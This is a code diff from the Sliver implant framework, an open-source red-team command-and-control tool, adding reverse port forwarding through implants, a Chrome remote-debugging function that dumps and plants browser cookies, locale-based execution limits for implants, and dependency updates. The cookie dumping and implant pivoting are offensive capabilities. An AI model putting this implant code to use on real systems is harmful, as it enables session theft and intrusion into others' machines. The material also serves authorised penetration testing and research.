if rportfwdListener.Response != nil && rportfwdListener.Response.Err != "" {
con.PrintErrorf("%s", rportfwdListener.Response.Err)
return
}
con.PrintInfof("Reverse port forwarding %s <- %s\n", rportfwdListener.ForwardAddress, rportfwdListener.BindAddress)
}
+55
View File
@@ -0,0 +1,55 @@
package rportfwd
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
func StopRportFwdListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
listenerID := ctx.Flags.Int("id")
rportfwdListener, err := con.Rpc.StopRportFwdListener(context.Background(), &sliverpb.RportFwdStopListenerReq{
Request: con.ActiveTarget.Request(ctx),
ID: uint32(listenerID),
})
if err != nil {
con.PrintWarnf("%s\n", err)
return
}
printStoppedRportFwdListener(rportfwdListener, con)
}
func printStoppedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverConsoleClient) {
if rportfwdListener.Response != nil && rportfwdListener.Response.Err != "" {
con.PrintErrorf("%s", rportfwdListener.Response.Err)
return
}
con.PrintInfof("Stopped reverse port forwarding %s <- %s\n", rportfwdListener.ForwardAddress, rportfwdListener.BindAddress)
}
+74
View File
@@ -0,0 +1,74 @@
package rportfwd
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
func RportFwdListenersCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
rportfwdListeners, err := con.Rpc.GetRportFwdListeners(context.Background(), &sliverpb.RportFwdListenersReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintWarnf("%s\n", err)
return
}
PrintRportFwdListeners(rportfwdListeners, ctx.Flags, con)
}
func PrintRportFwdListeners(rportfwdListeners *sliverpb.RportFwdListeners, flags grumble.FlagMap, con *console.SliverConsoleClient) {
if rportfwdListeners.Response != nil && rportfwdListeners.Response.Err != "" {
con.PrintErrorf("%s\n", rportfwdListeners.Response.Err)
return
}
if len(rportfwdListeners.Listeners) == 0 {
con.PrintInfof("No reverse port forwards\n")
return
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"Remote Address",
"Bind Address",
})
for _, p := range rportfwdListeners.Listeners {
tw.AppendRow(table.Row{
p.ID,
p.ForwardAddress,
p.BindAddress,
})
}
con.Printf("%s\n", tw.Render())
}
+6 -3
View File
@@ -130,8 +130,9 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
wideTermWidth := con.Settings.SmallTermWidth < width
if con.Settings.SmallTermWidth < width {
if wideTermWidth {
tw.AppendHeader(table.Row{
"ID",
"Name",
@@ -140,6 +141,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
"Hostname",
"Username",
"Operating System",
"Locale",
"Last Message",
"Health",
})
@@ -177,7 +179,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
username := strings.TrimPrefix(session.Username, session.Hostname+"\\") // For non-AD Windows users
var rowEntries []string
if con.Settings.SmallTermWidth < width {
if wideTermWidth {
rowEntries = []string{
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
fmt.Sprintf(color+"%s"+console.Normal, session.Name),
@@ -186,7 +188,8 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, username),
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
fmt.Sprintf(color+"%s"+console.Normal, session.Locale),
con.FormatDateDelta(time.Unix(session.LastCheckin, 0), wideTermWidth, false),
burned + SessionHealth,
}
} else {
+28
View File
@@ -525,6 +525,34 @@ func (con *SliverConsoleClient) SpinUntil(message string, ctrl chan bool) {
go spin.Until(con.App.Stdout(), message, ctrl)
}
// FormatDateDelta - Generate formatted date string of the time delta between then and now
func (con *SliverConsoleClient) FormatDateDelta(t time.Time, includeDate bool, color bool) string {
nextTime := t.Format(time.UnixDate)
var interval string
if t.Before(time.Now()) {
if includeDate {
interval = fmt.Sprintf("%s (%s ago)", nextTime, time.Since(t).Round(time.Second))
} else {
interval = time.Since(t).Round(time.Second).String()
}
if color {
interval = fmt.Sprintf("%s%s%s", Bold+Red, interval, Normal)
}
} else {
if includeDate {
interval = fmt.Sprintf("%s (in %s)", nextTime, time.Until(t).Round(time.Second))
} else {
interval = time.Until(t).Round(time.Second).String()
}
if color {
interval = fmt.Sprintf("%s%s%s", Bold+Green, interval, Normal)
}
}
return interval
}
//
// -------------------------- [ Active Target ] --------------------------
//
+10 -2
View File
@@ -88,6 +88,12 @@ const (
// BeaconTaskResult - Beacon task completed with a result
BeaconTaskResultEvent = "beacon-taskresult"
// ExternalBuildEvent
ExternalBuildEvent = "external-build"
// WireGuardNewPeer - New Wireguard peer added
WireGuardNewPeer = "wireguard-newpeer"
)
// Commands
@@ -224,8 +230,9 @@ const (
InteractiveStr = "interactive"
CloseStr = "close"
PortfwdStr = "portfwd"
Socks5Str = "socks5"
PortfwdStr = "portfwd"
Socks5Str = "socks5"
RportfwdStr = "rportfwd"
ReactionStr = "reaction"
@@ -245,6 +252,7 @@ const (
CursedConsole = "console"
CursedElectron = "electron"
CursedEdge = "edge"
CursedCookies = "cookies"
)
// Groups
+72 -1
View File
@@ -3,14 +3,17 @@ package overlord
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
@@ -24,8 +27,11 @@ import (
"log"
"net/http"
"net/url"
"time"
"github.com/bishopfox/sliver/client/core"
"github.com/chromedp/cdproto/cdp"
"github.com/chromedp/cdproto/network"
"github.com/chromedp/cdproto/page"
"github.com/chromedp/cdproto/target"
"github.com/chromedp/chromedp"
@@ -158,7 +164,10 @@ func ExecuteJS(ctx context.Context, string, targetID string, jsCode string) ([]b
}
extCtx, _ := chromedp.NewContext(ctx, chromedp.WithTargetID(targetInfo.TargetID))
var result []byte
err := chromedp.Run(extCtx, chromedp.Evaluate(jsCode, &result))
evalTasks := chromedp.Tasks{
chromedp.Evaluate(jsCode, &result),
}
err := chromedp.Run(extCtx, evalTasks)
return result, err
}
@@ -260,6 +269,68 @@ func QueryExtensionDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
return extensionContexts, nil
}
// DumpCookies - Dump all cookies from the remote debug target
func DumpCookies(curse *core.CursedProcess, webSocketURL string) ([]*network.Cookie, error) {
var cookies []*network.Cookie
var err error
dumpCookieTasks := chromedp.Tasks{
// read network values
chromedp.ActionFunc(func(ctx context.Context) error {
cookies, err = network.GetAllCookies().Do(ctx)
if err != nil {
return err
}
// for i, cookie := range cookies {
// log.Printf("chrome cookie %d: %+v", i, cookie)
// }
return nil
}),
}
taskCtx, taskCancel, cancel := GetChromeContext(webSocketURL, curse)
defer taskCancel()
defer cancel()
ctx, _ := chromedp.NewContext(taskCtx)
if err := chromedp.Run(ctx, dumpCookieTasks); err != nil {
return cookies, err
}
return cookies, nil
}
func SetCookie(curse *core.CursedProcess, webSocketURL string, host string, cookies ...string) (string, error) {
var res string
setCookieTasks := chromedp.Tasks{
chromedp.ActionFunc(func(ctx context.Context) error {
// create cookie expiration
expr := cdp.TimeSinceEpoch(time.Now().Add(180 * 24 * time.Hour))
// add cookies to chrome
for i := 0; i < len(cookies); i += 2 {
err := network.SetCookie(cookies[i], cookies[i+1]).
WithExpires(&expr).
WithDomain("localhost").
WithHTTPOnly(true).
Do(ctx)
if err != nil {
return err
}
}
return nil
}),
// navigate to site
// chromedp.Navigate(host),
// read the returned values
// chromedp.Text(`#result`, &res, chromedp.ByID, chromedp.NodeVisible),
}
taskCtx, taskCancel, cancel := GetChromeContext(webSocketURL, curse)
defer taskCancel()
defer cancel()
ctx, _ := chromedp.NewContext(taskCtx)
if err := chromedp.Run(ctx, setCookieTasks); err != nil {
return "", err
}
return res, nil
}
// Screenshot - Take a screenshot of a Chrome context
func Screenshot(curse *core.CursedProcess, webSocketURL string, targetID string, quality int64) ([]byte, error) {
var result []byte
+1 -1
View File
@@ -14,7 +14,7 @@ GEM
execjs
coffee-script-source (1.11.1)
colorator (1.1.0)
commonmarker (0.23.4)
commonmarker (0.23.6)
concurrent-ruby (1.1.9)
dnsruby (1.61.9)
simpleidn (~> 0.1)
+2 -2
View File
@@ -20,8 +20,8 @@ set -e
# Creates the static go asset archives
GO_VER="1.18.6"
GARBLE_VER="1.18.0"
GO_VER="1.19.2"
GARBLE_VER="1.19.3"
SGN_VER="0.0.3"
GO_ARCH_1="amd64"
+34 -19
View File
@@ -5,53 +5,56 @@ go 1.18
replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.6
require (
github.com/AlecAivazis/survey/v2 v2.2.2
github.com/AlecAivazis/survey/v2 v2.3.6
github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
github.com/Ne0nd0g/go-clr v1.0.2
github.com/alecthomas/chroma v0.10.0
github.com/cheggaaa/pb/v3 v3.0.5
github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf
github.com/chromedp/chromedp v0.8.5
github.com/cheggaaa/pb/v3 v3.1.0
github.com/chromedp/cdproto v0.0.0-20220924210414-0e3390be1777
github.com/chromedp/chromedp v0.8.6
github.com/desertbit/columnize v2.1.0+incompatible
github.com/desertbit/go-shlex v0.1.1
github.com/desertbit/grumble v1.1.1
github.com/desertbit/readline v1.5.1
github.com/fatih/color v1.13.0
github.com/gofrs/uuid v4.0.0+incompatible
github.com/gofrs/uuid v4.3.0+incompatible
github.com/google/uuid v1.3.0
github.com/gorilla/mux v1.8.0
github.com/grpc-ecosystem/go-grpc-middleware v1.2.2
github.com/jedib0t/go-pretty/v6 v6.2.4
github.com/grpc-ecosystem/go-grpc-middleware v1.3.0
github.com/jedib0t/go-pretty/v6 v6.4.0
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
github.com/lesnuages/go-winio v0.4.19
github.com/lesnuages/snitch v0.6.0
github.com/mattn/go-sqlite3 v1.14.15
github.com/miekg/dns v1.1.50
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
github.com/onsi/ginkgo v1.16.5
github.com/onsi/gomega v1.20.2
github.com/pquerna/otp v1.3.0
github.com/shirou/gopsutil/v3 v3.21.10
github.com/sirupsen/logrus v1.8.1
github.com/spf13/cobra v1.1.1
github.com/shirou/gopsutil/v3 v3.22.9
github.com/sirupsen/logrus v1.9.0
github.com/spf13/cobra v1.5.0
github.com/stretchr/testify v1.8.0
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e
golang.org/x/crypto v0.0.0-20220829220503-c86fa9a7ed90
golang.org/x/net v0.0.0-20220225172249-27dd8689420f
golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64
golang.org/x/net v0.0.0-20220722155237-a158d28d115b
golang.org/x/sys v0.0.0-20220928140112-f11e5e49a4ec
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
golang.org/x/text v0.3.7
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84
google.golang.org/protobuf v1.27.1
google.golang.org/protobuf v1.28.1
gopkg.in/AlecAivazis/survey.v1 v1.8.8
gorm.io/driver/mysql v1.3.6
gorm.io/driver/postgres v1.3.9
gorm.io/driver/postgres v1.3.10
gorm.io/driver/sqlite v1.3.6
gorm.io/gorm v1.23.8
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
gorm.io/gorm v1.23.10
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5
modernc.org/sqlite v1.16.0
)
@@ -59,7 +62,6 @@ require (
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
github.com/Microsoft/go-winio v0.5.1 // indirect
github.com/StackExchange/wmi v1.2.1 // indirect
github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab // indirect
github.com/VividCortex/ewma v1.1.1 // indirect
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
@@ -70,6 +72,7 @@ require (
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
github.com/desertbit/closer/v3 v3.1.2 // indirect
github.com/dlclark/regexp2 v1.4.0 // indirect
github.com/fsnotify/fsnotify v1.4.9 // indirect
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/go-ole/go-ole v1.2.6 // indirect
github.com/go-sql-driver/mysql v1.6.0 // indirect
@@ -78,8 +81,10 @@ require (
github.com/gobwas/ws v1.1.0 // indirect
github.com/golang/protobuf v1.5.2 // indirect
github.com/google/btree v1.0.1 // indirect
github.com/google/go-cmp v0.5.9 // indirect
github.com/hashicorp/errwrap v1.1.0 // indirect
github.com/hashicorp/go-multierror v1.1.1 // indirect
github.com/hashicorp/go-uuid v1.0.2 // indirect
github.com/inconshreveable/mousetrap v1.0.0 // indirect
github.com/jackc/chunkreader/v2 v2.0.1 // indirect
github.com/jackc/pgconn v1.13.0 // indirect
@@ -89,6 +94,7 @@ require (
github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b // indirect
github.com/jackc/pgtype v1.12.0 // indirect
github.com/jackc/pgx/v4 v4.17.2 // indirect
github.com/jcmturner/gofork v1.0.0 // indirect
github.com/jinzhu/inflection v1.0.0 // indirect
github.com/jinzhu/now v1.1.5 // indirect
github.com/josharian/intern v1.0.0 // indirect
@@ -98,21 +104,30 @@ require (
github.com/mailru/easyjson v0.7.7 // indirect
github.com/mattn/go-colorable v0.1.9 // indirect
github.com/mattn/go-isatty v0.0.14 // indirect
github.com/mattn/go-runewidth v0.0.9 // indirect
github.com/mattn/go-runewidth v0.0.13 // indirect
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
github.com/nxadm/tail v1.4.8 // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c // indirect
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
github.com/rivo/uniseg v0.2.0 // indirect
github.com/spf13/pflag v1.0.5 // indirect
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
github.com/yusufpapurcu/wmi v1.2.2 // indirect
golang.org/x/mod v0.5.1 // indirect
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
golang.org/x/tools v0.1.9 // indirect
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
google.golang.org/grpc/examples v0.0.0-20210910232509-03268c8ed29e // indirect
gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
gopkg.in/jcmturner/aescts.v1 v1.0.1 // indirect
gopkg.in/jcmturner/dnsutils.v1 v1.0.1 // indirect
gopkg.in/jcmturner/goidentity.v3 v3.0.0 // indirect
gopkg.in/jcmturner/gokrb5.v7 v7.5.0 // indirect
gopkg.in/jcmturner/rpc.v1 v1.1.0 // indirect
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 // indirect
gopkg.in/yaml.v3 v3.0.1 // indirect
lukechampine.com/uint128 v1.1.1 // indirect
modernc.org/cc/v3 v3.35.24 // indirect
+97 -853
View File
File diff suppressed because it is too large. Load diff
+23 -9
View File
@@ -1,6 +1,6 @@
module github.com/bishopfox/sliver
go 1.17
go 1.18
require (
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
@@ -10,34 +10,48 @@ require (
github.com/lesnuages/go-winio v0.4.19
github.com/miekg/dns v1.1.50
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
github.com/onsi/ginkgo v1.16.5
github.com/onsi/gomega v1.20.2
github.com/pquerna/otp v1.3.0
github.com/stretchr/testify v1.7.0
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
golang.org/x/net v0.0.0-20220225172249-27dd8689420f
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f
golang.org/x/net v0.0.0-20220722155237-a158d28d115b
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
google.golang.org/protobuf v1.26.0
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
google.golang.org/protobuf v1.28.0
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5
)
require (
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2 // indirect
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
github.com/Microsoft/go-winio v0.5.0 // indirect
github.com/Microsoft/go-winio v0.5.1 // indirect
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
github.com/davecgh/go-spew v1.1.1 // indirect
github.com/fsnotify/fsnotify v1.4.9 // indirect
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/google/btree v1.0.1 // indirect
github.com/google/go-cmp v0.5.8 // indirect
github.com/hashicorp/go-uuid v1.0.2 // indirect
github.com/jcmturner/gofork v1.0.0 // indirect
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/nxadm/tail v1.4.8 // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
golang.org/x/mod v0.4.2 // indirect
golang.org/x/mod v0.5.1 // indirect
golang.org/x/text v0.3.7 // indirect
golang.org/x/time v0.0.0-20191024005414-555d28b269f0 // indirect
golang.org/x/tools v0.1.7 // indirect
golang.org/x/tools v0.1.9 // indirect
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
gopkg.in/jcmturner/aescts.v1 v1.0.1 // indirect
gopkg.in/jcmturner/dnsutils.v1 v1.0.1 // indirect
gopkg.in/jcmturner/goidentity.v3 v3.0.0 // indirect
gopkg.in/jcmturner/gokrb5.v7 v7.5.0 // indirect
gopkg.in/jcmturner/rpc.v1 v1.1.0 // indirect
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 // indirect
gopkg.in/yaml.v3 v3.0.1 // indirect
)
+52 -897
View File
File diff suppressed because it is too large. Load diff
+16 -6
View File
@@ -1,7 +1,17 @@
#!/bin/sh
#!/bin/bash
set -e
cleanup() {
[ ! -z "$1" ] && echo "Error $1 occurred on $2"
mv "${tempDir}/vendor" "${pwd}/../vendor"
mv "${tempDir}/go.mod" "${pwd}/../go-mod"
mv "${tempDir}/go.sum" "${pwd}/../go-sum"
cd ..
rm -rf "$tempDir"
}
# we are expecting from run from sliver/implant via 'go generate'
cd scripts
@@ -12,6 +22,10 @@ cp ../go-mod "${tempDir}/go.mod"
cp ../go-sum "${tempDir}/go.sum"
mv ../vendor "${tempDir}/vendor"
# Trap when a build fails so we can reset the environment
trap 'cleanup $? $LINENO' ERR
# build Go file with all imported packages
go run update-vendor.go "$tempDir"
cd "$tempDir"
@@ -20,8 +34,4 @@ go mod tidy -compat=1.17
go mod vendor
# move updated files back
mv "${tempDir}/vendor" "${pwd}/../vendor"
mv "${tempDir}/go.mod" "${pwd}/../go-mod"
mv "${tempDir}/go.sum" "${pwd}/../go-sum"
cd ..
rm -rf "$tempDir"
cleanup
+9
View File
@@ -182,6 +182,15 @@ func (c *CipherContext) Encrypt(plaintext []byte) ([]byte, error) {
return ciphertext, nil
}
// GetExactOTPCode - Get the OTP code for a specific timestamp
func GetExactOTPCode(timestamp time.Time) string {
code, _ := totp.GenerateCodeCustom(totpSecret, timestamp, totpOptions)
// {{if .Config.Debug}}
log.Printf("TOTP Code (%s): %s", timestamp, code)
// {{end}}
return code
}
// GetOTPCode - Get the current OTP code
func GetOTPCode() string {
now := time.Now().UTC()
+42
View File
@@ -0,0 +1,42 @@
package cryptography
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"os"
)
var (
// TLSKeyLogger - File descriptor for logging TLS keys
TLSKeyLogger = newKeyLogger()
)
func newKeyLogger() *os.File {
// {{if .Config.Debug}}
keyFilePath, present := os.LookupEnv("SSLKEYLOGFILE")
if present {
keyFile, err := os.OpenFile(keyFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0600)
if err != nil {
return nil
}
return keyFile
}
// {{end}}
return nil
}
+6
View File
@@ -58,6 +58,9 @@ type TunnelHandler func(*sliverpb.Envelope, *transports.Connection)
// PivotHandler - Handler related to pivoting
type PivotHandler func(*sliverpb.Envelope, *transports.Connection)
// RportFwdHandler - Handler related to reverse port forwarding
type RportFwdHandler func(*sliverpb.Envelope, *transports.Connection)
// -----------------------------------------------------
// -----------------------------------------------------
// -----------------------------------------------------
@@ -372,6 +375,9 @@ func prepareDownload(path string, filter string, recurse bool) ([]byte, bool, in
to download a single file
*/
fileInfo, err := os.Stat(path + filter)
if err != nil {
return nil, false, 0, 1, err
}
if err == nil && !fileInfo.IsDir() {
// Then this is a single file
rawData, err := os.ReadFile(path + filter)
+5 -1
View File
@@ -315,7 +315,11 @@ func runSSHCommandHandler(data []byte, resp RPCResponse) {
commandReq.Username,
commandReq.Password,
commandReq.PrivKey,
commandReq.Command)
commandReq.Krb5Conf,
commandReq.Keytab,
commandReq.Realm,
commandReq.Command,
)
commandResp := &sliverpb.SSHCommand{
Response: &commonpb.Response{},
StdOut: stdout,
@@ -0,0 +1,159 @@
package handlers
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"time"
rportfwd "github.com/bishopfox/sliver/implant/sliver/rportfwd"
"github.com/bishopfox/sliver/implant/sliver/tcpproxy"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/commonpb"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
var (
genericRportFwdHandlers = map[uint32]RportFwdHandler{
pb.MsgRportFwdListenersReq: rportFwdListenersHandler,
pb.MsgRportFwdStartListenerReq: rportFwdStartListenerHandler,
pb.MsgRportFwdStopListenerReq: rportFwdStopListenerHandler,
}
)
// GetRportFwdHandlers - Returns a map of reverse port forwarding handlers
func GetRportFwdHandlers() map[uint32]RportFwdHandler {
return genericRportFwdHandlers
}
func rportFwdListenersHandler(envelope *pb.Envelope, connection *transports.Connection) {
forwards := rportfwd.Portfwds.List()
var portfwdListeners []*pb.RportFwdListener
for _, portfwd := range forwards {
portfwdListeners = append(portfwdListeners, &pb.RportFwdListener{
ID: uint32(portfwd.ID),
BindAddress: portfwd.BindAddr,
ForwardAddress: portfwd.RemoteAddr,
})
}
data, _ := proto.Marshal(&pb.RportFwdListeners{
Listeners: portfwdListeners,
Response: &commonpb.Response{},
})
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: data,
}
}
func rportFwdStartListenerHandler(envelope *pb.Envelope, connection *transports.Connection) {
req := &pb.RportFwdStartListenerReq{}
resp := &pb.RportFwdListener{Response: &commonpb.Response{}}
err := proto.Unmarshal(envelope.Data, req)
if err != nil {
resp.Response.Err = err.Error()
data, _ := proto.Marshal(resp)
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: data,
}
return
}
rportfwds := rportfwd.Portfwds.List()
for _, r := range rportfwds {
if r.BindAddr == req.BindAddress {
resp.Response.Err = "Already listening on " + r.BindAddr + "\n"
data, _ := proto.Marshal(resp)
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: data,
}
return
}
}
tcpProxy := &tcpproxy.Proxy{}
channelProxy := &rportfwd.ChannelProxy{
Conn: connection,
RemoteAddr: req.ForwardAddress,
BindAddr: req.BindAddress,
KeepAlivePeriod: 1000 * time.Second,
DialTimeout: 30 * time.Second,
}
tcpProxy.AddRoute(req.BindAddress, channelProxy)
rportfwd := rportfwd.Portfwds.Add(tcpProxy, channelProxy)
go func() {
err := tcpProxy.Run()
if err != nil {
// {{if .Config.Debug}}
log.Printf("Proxy error %s", err)
// {{end}}
}
}()
resp.BindAddress = req.BindAddress
resp.ForwardAddress = req.ForwardAddress
resp.BindPort = req.ForwardPort
resp.ForwardPort = req.ForwardPort
resp.ID = uint32(rportfwd.ID)
data, _ := proto.Marshal(resp)
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: data,
}
}
func rportFwdStopListenerHandler(envelope *pb.Envelope, connection *transports.Connection) {
req := &pb.RportFwdStopListenerReq{}
resp := &pb.RportFwdListener{Response: &commonpb.Response{}}
err := proto.Unmarshal(envelope.Data, req)
if err != nil {
resp.Response.Err = err.Error()
data, _ := proto.Marshal(resp)
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: data,
}
return
}
rportfwd := rportfwd.Portfwds.Remove(int(req.ID))
if rportfwd != nil {
resp.ID = uint32(rportfwd.ID)
resp.BindAddress = rportfwd.ChannelProxy.BindAddr
resp.ForwardAddress = rportfwd.ChannelProxy.RemoteAddr
} else {
resp.Response.Err = "Invalid ID\n"
}
data, _ := proto.Marshal(resp)
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: data,
}
}
+22
View File
@@ -30,7 +30,10 @@ import (
// {{if .Config.LimitUsername}}
"os/user"
// {{end}}
// {{if .Config.LimitLocale}}
"regexp"
// {{end}}
// {{if .Config.LimitDatetime}}
@@ -40,6 +43,10 @@ import (
// {{if or .Config.LimitHostname .Config.LimitUsername}}
"strings"
// {{else}}{{end}}
// {{if .Config.LimitLocale}}
"github.com/bishopfox/sliver/implant/sliver/locale"
// {{end}}
)
// ExecLimits - Checks for execution limitations (domain, hostname, etc)
@@ -104,6 +111,21 @@ func ExecLimits() {
}
// {{end}}
// {{if .Config.LimitLocale}}
locale := locale.GetLocale()
match, err := regexp.MatchString(`{{.Config.LimitLocale}}`, locale)
if !match {
// {{if .Config.Debug}}
if err != nil {
log.Printf("LimitLocale regexp: %s", err)
} else {
log.Printf("LimitLocale regexp %#v does not match %#v", `{{.Config.LimitLocale}}`, locale)
